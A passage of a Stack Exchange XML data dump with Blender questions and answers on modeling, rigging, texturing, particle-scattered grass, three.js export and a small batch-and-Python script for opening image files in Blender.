LastEditorUserId="9732" LastEditDate="2015-07-24T23:29:20.213" LastActivityDate="2020-01-28T09:48:55.830" Title="How to retrieve value from StringProperty?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34506" PostTypeId="1" CreationDate="2015-07-24T23:43:00.273" Score="1" ViewCount="21" Body="&lt;p&gt;Hi I am modeling a truck, I modeled its half part and dup + mirrored it for other half. I have a problem and both parts haven't smoothness between them ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make them smooth ??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FaAI3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FaAI3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="15898" LastActivityDate="2015-07-24T23:43:00.273" Title="Smoothness between (Dup)Mirror and Orginal?" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-07-25T13:49:06.067" ContentLicense="CC BY-SA 3.0" />
  <row Id="34507" PostTypeId="2" ParentId="10772" CreationDate="2015-07-25T02:06:49.013" Score="1" Body="&lt;p&gt;You can combine the bones into a single armature using the method Mike outlined. But while the four leg armatures are all part of the same armature, they are not physically connected. To connect them together into a single entity, you will have to construct the desired connecting bones yourself.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-07-25T02:06:49.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34508" PostTypeId="1" AcceptedAnswerId="34510" CreationDate="2015-07-25T03:11:04.633" Score="0" ViewCount="1737" Body="&lt;p&gt;I have a ground and i would like to put lots of grass meshes [ 2 planes , With a grass texture , Image below ] I want to know if its possible to add lots of these meshes on the surface to where i click , instead of having to duplicate then place each one.&lt;a href=&quot;https://i.stack.imgur.com/Dl1Gd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dl1Gd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TKXRA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TKXRA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2017-02-17T02:12:46.357" Title="Brush to &quot;Spawn&quot; Several meshes on surface?" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34509" PostTypeId="1" CreationDate="2015-07-25T03:21:22.617" Score="1" ViewCount="637" Body="&lt;p&gt;I've been trying to use the IK bone constraint with my rigs as it makes animating much easier, however I find that when I apply the constraint, I get twisting in the mesh. I've tried remedying this by adjusting the pole angle, and although that does remove the twisting, my joint will no longer be bending at the right angle in comparison to the, say for example, Elbow.R.IK, etc... This problem has happened to all of my models that I've applied the constraint to. Thanks for the help&lt;img src=&quot;https://i.stack.imgur.com/fjLMW.png&quot; alt=&quot;![The distortion can be seen in the shoulder, and the IK constraint is applied from a Hand.L.IK onto a Forearm.L with a chain length of two&quot;&gt;]&lt;a href=&quot;https://i.stack.imgur.com/fjLMW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15901" LastEditorDisplayName="user1853" LastEditDate="2015-07-25T03:45:09.440" LastActivityDate="2021-04-22T01:09:56.103" Title="Fixing deformation due to IK bone constraint" Tags="&lt;rigging&gt;&lt;constraints&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34510" PostTypeId="2" ParentId="34508" CreationDate="2015-07-25T03:32:03.720" Score="1" Body="&lt;p&gt;Join both of the planes that make the grass into a single object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/APQDA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/APQDA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the ground plane create a particle system. On the render section select &lt;strong&gt;object&lt;/strong&gt; and assign the grass as &lt;strong&gt;Dupli Object&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure the emitter start and end is 1 and the lifetime is as long as the animation you want to make.&#xA;Disable gravity. Make the particle size 1 and give it some randomness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your grass comes out flat to the ground just enable the rotation box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ss2pu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ss2pu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zPNcE.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zPNcE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sample file here: &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/372/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=372&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-07-25T03:43:21.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34511" PostTypeId="1" CreationDate="2015-07-25T05:41:06.980" Score="2" ViewCount="617" Body="&lt;p&gt;I am using Blender 2.69 in Ubuntu 14.04 32-bit&#xA;and Three.js Exporter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While exporting shapekeys and keyframe animation using three.js exporter&#xA;,the exporting works fine.But unable to animate the model.&#xA;That is using &#xA;'mesh.morphTargetInfluences[1]=value'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;am using dat.gui slider to change the value so as to control the morph  manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggest a working version of three exporter for blender&#xA;or compatible Blender or Three Exporter .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in Advance .&lt;/p&gt;&#xA;" OwnerUserId="15903" LastActivityDate="2020-12-18T08:03:15.297" Title="Blender and three.js Exporter?" Tags="&lt;keyframes&gt;&lt;shape-keys&gt;&lt;three.js&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34512" PostTypeId="2" ParentId="34505" CreationDate="2015-07-25T06:14:43.523" Score="2" Body="&lt;p&gt;You have one small mistake: you are reading the function that creates properties for new classes, while you should be accessing the property itself in the current scene, which has the value you have stored:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;print(context.scene.referenceMesh)&lt;/code&gt;   instead of &lt;code&gt;print(bpy.types.Scene.referenceMesh)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="1363" LastEditDate="2015-07-25T14:30:22.013" LastActivityDate="2015-07-25T14:30:22.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34513" PostTypeId="2" ParentId="34471" CreationDate="2015-07-25T06:17:02.897" Score="4" Body="&lt;p&gt;The resolution for the circle is way too low, increase the resolution for the &lt;strong&gt;Active Spline&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OhygK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OhygK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IWxHb.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IWxHb.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-07-25T06:56:20.527" LastActivityDate="2015-07-25T06:56:20.527" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34514" PostTypeId="2" ParentId="34479" CreationDate="2015-07-25T07:19:05.033" Score="40" Body="&lt;p&gt;I think what you're looking for is the &lt;kbd&gt;F&lt;/kbd&gt; key, this joins any selected faces if it makes sense topologically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/E4KyE.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/E4KyE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, you will get an Ngon on that face.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-07-25T07:25:48.490" LastActivityDate="2015-07-25T07:25:48.490" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34516" PostTypeId="1" AcceptedAnswerId="34520" CreationDate="2015-07-25T09:37:09.587" Score="1" ViewCount="2435" Body="&lt;p&gt;First of all I Marked Seam and Unwrapped my model and I started to texture paint but the Render is plain light grey color , I also sculpted it but I don't think that it causes the problem .. Here are some pictures to show , the problem.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/tkLxT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tkLxT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/09AUs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/09AUs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15907" LastActivityDate="2015-07-25T10:27:34.480" Title="My Textured paint became plain color when I render in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34517" PostTypeId="1" AcceptedAnswerId="34671" CreationDate="2015-07-25T09:53:26.290" Score="2" ViewCount="383" Body="&lt;p&gt;I am having problems understating the curve modifier. I can usually get it to do what I want, but only after a lot of trial and error and often I plain do not understand why it seems to work in the way it does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I attach a blend file. I am trying to make a bridge by having a segment of the bridge, a curve for it to follow and using the array and curve modifiers replicate it along the path. I have applied scale and rotation, and made sure both the bridge segment and the curve share an origin. Still it seems to give bizarre results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the attached file, when I turn on the curve modifier, the bridge segment flips on its side. I am completely stumped by this. Why is this happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.toohey.co.uk/Bridge%20Scene%20Stack%20Exchange.blend&quot; rel=&quot;nofollow&quot;&gt;Example Blend File&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13661" LastActivityDate="2015-07-28T11:41:36.873" Title="Curve Modifier Gives Unexpected Effects" Tags="&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34518" PostTypeId="1" AcceptedAnswerId="34519" CreationDate="2015-07-25T09:55:17.027" Score="2" ViewCount="1235" Body="&lt;p&gt;So I'm making a basic car model here for fun, but when I try to add the subdivision surface modifier for smoother body, the side of the car become what it looks like in the screenshot. Is there any solution to make the side look less bulky? Any help is appreciated. :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OZy5W.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OZy5W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15885" LastActivityDate="2015-07-25T10:14:58.523" Title="Subdivision surface problem" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-07-25T13:49:27.427" ContentLicense="CC BY-SA 3.0" />
  <row Id="34519" PostTypeId="2" ParentId="34518" CreationDate="2015-07-25T10:04:15.973" Score="3" Body="&lt;h2&gt;Avoid ngons&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Subdivision surface give &quot;predictable&quot; results when you are using quads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your car's side face is a &lt;a href=&quot;https://blender.stackexchange.com/questions/89/when-should-n-gons-be-used-and-when-shouldnt-they&quot;&gt;ngon&lt;/a&gt;, so is not a quad, but instead 4+ faces poligon which is triangulated by the modifier and then smoothed by creating a vertex in the middle of each existing edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on what you are exactly looking for, you should make some changes on your model's topology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xFyhH.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xFyhH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-07-25T10:14:58.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34520" PostTypeId="2" ParentId="34516" CreationDate="2015-07-25T10:17:53.797" Score="2" Body="&lt;p&gt;the texture needs to be assigned to a material on this object to be visible on the render , and to start using the nodes editor :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select the object&lt;/li&gt;&#xA;&lt;li&gt;in the material tab click &lt;kbd&gt;New&lt;/kbd&gt; button to create new material&lt;/li&gt;&#xA;&lt;li&gt;click &lt;strong&gt;&lt;em&gt;use nodes&lt;/em&gt;&lt;/strong&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VIcKJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VIcKJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;in the node editor press  &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;➝Texture➝Image texture&lt;/li&gt;&#xA;&lt;li&gt;in the texture node select you image ( the one you painted )&lt;/li&gt;&#xA;&lt;li&gt;connect the texture node to the shader node ( click and drag the dot to the other one )&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WNatj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WNatj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-07-25T10:27:34.480" LastActivityDate="2015-07-25T10:27:34.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34521" PostTypeId="2" ParentId="14236" CreationDate="2015-07-25T10:55:34.900" Score="0" Body="&lt;p&gt;Go to user preferances and system (User Preferences &gt; System) and go to screencast. Type in 24 (or whatever frame rate you are rendering at) and it should do its best to do that frame rate in the viewport.&lt;/p&gt;&#xA;" OwnerUserId="15908" LastEditorUserId="45641" LastEditDate="2018-08-16T14:36:12.200" LastActivityDate="2018-08-16T14:36:12.200" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="34522" PostTypeId="1" CreationDate="2015-07-25T12:26:06.810" Score="0" ViewCount="864" Body="&lt;p&gt;I have a problem with combining hooks modifier with Armature. I tried to place armature at different places on modifier stack, but nothing works as I wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's Armature in Rest Position without hooks.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/eeAQX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eeAQX.png&quot; alt=&quot;Here&amp;#39;s Armature in Rest Position without hooks&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's Armature in Rest Position with hooks (Hooks are parrented to eachother, and the hooks that are chain roots are parented to a hand bone).&#xA;&lt;a href=&quot;https://i.stack.imgur.com/kgLCF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kgLCF.png&quot; alt=&quot;Here&amp;#39;s Armature in Rest Position with hooks&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After swiching Rest Position into Pose Position, empties follow the hand bone, which is great, but the mesh is... messed up.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Y3lQO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y3lQO.png&quot; alt=&quot;Here&amp;#39;s Armature in Pose Position with hooks&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ckFOz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ckFOz.png&quot; alt=&quot;Here&amp;#39;s Armature in Pose Position with hooks&quot;&gt;&lt;/a&gt;&#xA;How I can repair this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes, I really need to use hooks for animating hand ; )!&lt;/p&gt;&#xA;" OwnerUserId="9548" LastActivityDate="2015-07-25T12:26:06.810" Title="How to combine Hook Modifier with Armature?" Tags="&lt;mesh&gt;&lt;modifiers&gt;&lt;armature&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34523" PostTypeId="1" CreationDate="2015-07-25T12:36:00.497" Score="1" ViewCount="77" Body="&lt;p&gt;Does BGE allow a mesh loader python script which could generate all meshes before a game level begins rather than just use pre-rendered model directly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And to be more clear, I'm speaking about procedural generation. &#xA;I want to generate mesh not necessarily during the game's runtime but during the intro/title screen/level loading(etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, Is it possible to develop a mesh generator python script that could run before the start of every game level?&lt;/p&gt;&#xA;" OwnerUserId="15670" LastEditorUserId="15670" LastEditDate="2015-07-25T15:31:02.100" LastActivityDate="2015-07-25T15:31:02.100" Title="Mesh generation in BGE" Tags="&lt;python&gt;&lt;mesh&gt;&lt;game-engine&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-07-25T14:41:19.983" ContentLicense="CC BY-SA 3.0" />
  <row Id="34524" PostTypeId="1" CreationDate="2015-07-25T13:14:32.340" Score="0" ViewCount="391" Body="&lt;p&gt;I am having some problems with Smart UV Project (&lt;a href=&quot;https://blender.stackexchange.com/questions/34300/smart-uv-project-creates-overlapping-uv-coordinates&quot;&gt;Smart UV project creates overlapping uv-coordinates&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wiki says that Smart UV Project searches seams and uses them to unwrap the mesh (&lt;a href=&quot;https://www.blender.org/manual/render/blender_render/textures/mapping/uv/unwrapping.html#smart-uv-project&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.blender.org/manual/render/blender_render/textures/mapping/uv/unwrapping.html#smart-uv-project&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script for that is written in python (why not in C/C++? That could be a lot  faster because the algorithm could be parallelized.) and is located here &lt;strong&gt;Blender\2.75\scripts\startup\bl_operators\uvcalc_smart_project.py&lt;/strong&gt;. In Line 494 to 498 &lt;strong&gt;edge_seams&lt;/strong&gt; is set. I also want to mark the edges as seams so that they are highlighted in the viewport. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I change something in the script (just a simple &lt;em&gt;print(&quot;test&quot;)&lt;/em&gt;) I can't use Smart UV Project anymore because I get a lot of error messages when starting blender.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search for unknown operator 'OBJECT_OT_subdivision_set', 'OBJECT_OT_subdivision_&#xA;set'&#xA;search for unknown operator 'OBJECT_OT_subdivision_set', 'OBJECT_OT_subdivision_&#xA;set'&#xA;search for unknown operator 'OBJECT_OT_subdivision_set', 'OBJECT_OT_subdivision_&#xA;set'&#xA;search for unknown operator 'OBJECT_OT_subdivision_set', 'OBJECT_OT_subdivision_&#xA;set'&#xA;...&#xA;location: &amp;lt;unknown location&amp;gt;:-1&#xA;search for unknown operator 'RENDER_OT_preset_add', 'render.preset_add'&#xA;rna_uiItemO: operator missing srna 'render.preset_add'&#xA;&#xA;C:\Program Files\Blender Foundation\Blender\2.75\scripts\startup\bl_ui\propertie&#xA;s_render.py:136&#xA;search for unknown operator 'RENDER_OT_preset_add', 'render.preset_add'&#xA;rna_uiItemO: operator missing srna 'render.preset_add'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why can't I edit these files? Are they locked or something like that?&lt;/p&gt;&#xA;" OwnerUserId="13978" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-07-25T13:14:32.340" Title="How to change a python script which was distributed via blender?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34525" PostTypeId="1" AcceptedAnswerId="34526" CreationDate="2015-07-25T13:29:06.483" Score="11" ViewCount="52943" Body="&lt;p&gt;Is there any way to create a face out of these selected and enclosed edges in the screenshot? I have tried using the F key but the face overlapped part of the model. Any help is appreciated. :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lALT2.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lALT2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15885" LastActivityDate="2018-04-18T00:15:54.233" Title="How to create a face out of edges" Tags="&lt;edges&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34526" PostTypeId="2" ParentId="34525" CreationDate="2015-07-25T14:08:56.380" Score="18" Body="&lt;p&gt;You definitely need more then one face to fill that side, I used six.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to fill that shape would be to look at your model, and think about what edges you need where, then decide what faces should go where. You should be thinking about edge flow, and face loops for your entire model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this gif I added two edges on the bottom, then by selecting two edges at a time pressing &lt;kbd&gt;F&lt;/kbd&gt;, filled the side with new faces. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/B7UTv.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/B7UTv.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-07-25T14:08:56.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34527" PostTypeId="1" AcceptedAnswerId="34530" CreationDate="2015-07-25T15:53:58.480" Score="3" ViewCount="339" Body="&lt;p&gt;I have a model, that I have selected specific face loops and I used (Shift G) - &gt; Perimeter, which selected all of the same kinds of face loops around the whole model. I then want to add two loop cuts on one of those face loops, and is it somehow possible for those two loop cuts to be inherited over all of the selected face loops ? This way I can only press Ctrl - R only once, and all of those selections will get the same kind of loops cuts. If there is no way, then I will have to do it manually, and this will be very frustrating, because there is over 30 of those faces, and there is a big chance of missing some. If someone knows a technique to do this in a much faster way, please specify it below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2Nlao.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Nlao.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/056y3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/056y3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15732" LastActivityDate="2015-07-25T16:11:30.630" Title="How can I add loops cuts to all the parent selection within an object?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34528" PostTypeId="1" CreationDate="2015-07-25T16:00:41.850" Score="1" ViewCount="107" Body="&lt;p&gt;I am talking about Cycles. Why does it produce shading artifacts on low poly models in smooth shading especially close to the edges? I usually fix them by adding more vertices, edge splitting etc but why is this required and is it the only way? I've noticed that in game engines or some other 3D apps the shading on the same models looks fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a small example in Cycles&#xA;&lt;a href=&quot;https://i.stack.imgur.com/YKyU9.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YKyU9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the exact same mesh in another render engine&#xA;&lt;a href=&quot;https://i.stack.imgur.com/eJZpw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eJZpw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4944" LastEditorUserId="4944" LastEditDate="2015-07-25T19:13:00.820" LastActivityDate="2015-07-25T19:13:00.820" Title="Shading artifacts in low poly models in cycles?" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="0" CommentCount="7" ClosedDate="2015-07-25T19:25:19.323" ContentLicense="CC BY-SA 3.0" />
  <row Id="34529" PostTypeId="2" ParentId="34477" CreationDate="2015-07-25T16:05:06.570" Score="1" Body="&lt;p&gt;This is not for OSX ( i don't have access to one ) but the concept is the same as on Windows OS:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create a folder that contains two files &lt;code&gt;myscript.bat&lt;/code&gt; and &lt;code&gt;import_file_script.py&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;assign the file types ( that you want to open with blender ) to be opened by this script ( &lt;kbd&gt;RMB&lt;/kbd&gt;-&gt;Open_with-&gt;choose_default_program   and select the .bat file )&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;myscript.bat&lt;/code&gt; is a batch script ( on OSX shell/apple-script ) and in this file put the following lines :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@ECHO OFF&#xA;&#xA;SET script=%~dp0import_file_script.py   &#xA;SET ext=%~x1                            &#xA;SET filename=%~f1                       &#xA;SET blender=&quot;C:/Program Files/Blender Foundation/Blender/blender.exe&quot;&#xA;&#xA;%blender% --python %script% -- %ext% %filename%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;and in the python script file ( named : import_file_script.py )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import sys&#xA;&#xA;bpy.ops.wm.console_toggle()&#xA;&#xA;argv = sys.argv&#xA;ext = argv[argv.index(&quot;--&quot;) + 1]  &#xA;myfile = argv[argv.index(&quot;--&quot;) + 2]&#xA;&#xA;if ext in ['.png','.jpg','.jpeg']:&#xA;    bpy.context.window.screen = bpy.data.screens['Image Viewer'] # or just ['UV Editing']&#xA;    bpy.ops.image.open(filepath=myfile)&#xA;    for area in bpy.data.screens['Image Viewer'].areas : &#xA;        if area.type == 'IMAGE_EDITOR' :&#xA;                area.spaces.active.image = bpy.data.images[0]&#xA;&#xA;#you can add elif/switch for multi-extention handling&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;in your startup blend file you can create a screen layout and call it &lt;code&gt;Image Viewer&lt;/code&gt; that is simply one UV image area&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now when you double click an image it will be handled by the batch script which will call blender that will run the python script responsible for importing ( or just opening ) the file in blender&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-07-25T16:05:06.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
